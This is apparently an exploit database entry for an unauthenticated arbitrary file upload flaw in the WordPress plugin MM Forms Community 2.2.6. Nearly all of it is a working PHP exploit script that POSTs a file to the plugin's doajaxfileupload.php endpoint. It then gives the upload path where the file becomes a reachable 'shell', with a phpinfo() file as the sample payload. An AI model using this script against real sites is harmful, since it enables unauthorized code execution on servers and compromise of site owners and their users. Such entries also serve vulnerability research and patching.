MM Forms & MM Forms Community 2.2.6 - Unauthenticated Arbitrary File Upload

PostShell.php

<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.example.com/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 

http://www.example.com/wp-content/plugins/mm-forms-community/upload/temp/
Filename : $postResult output

lo.php:

<?php
phpinfo();
?>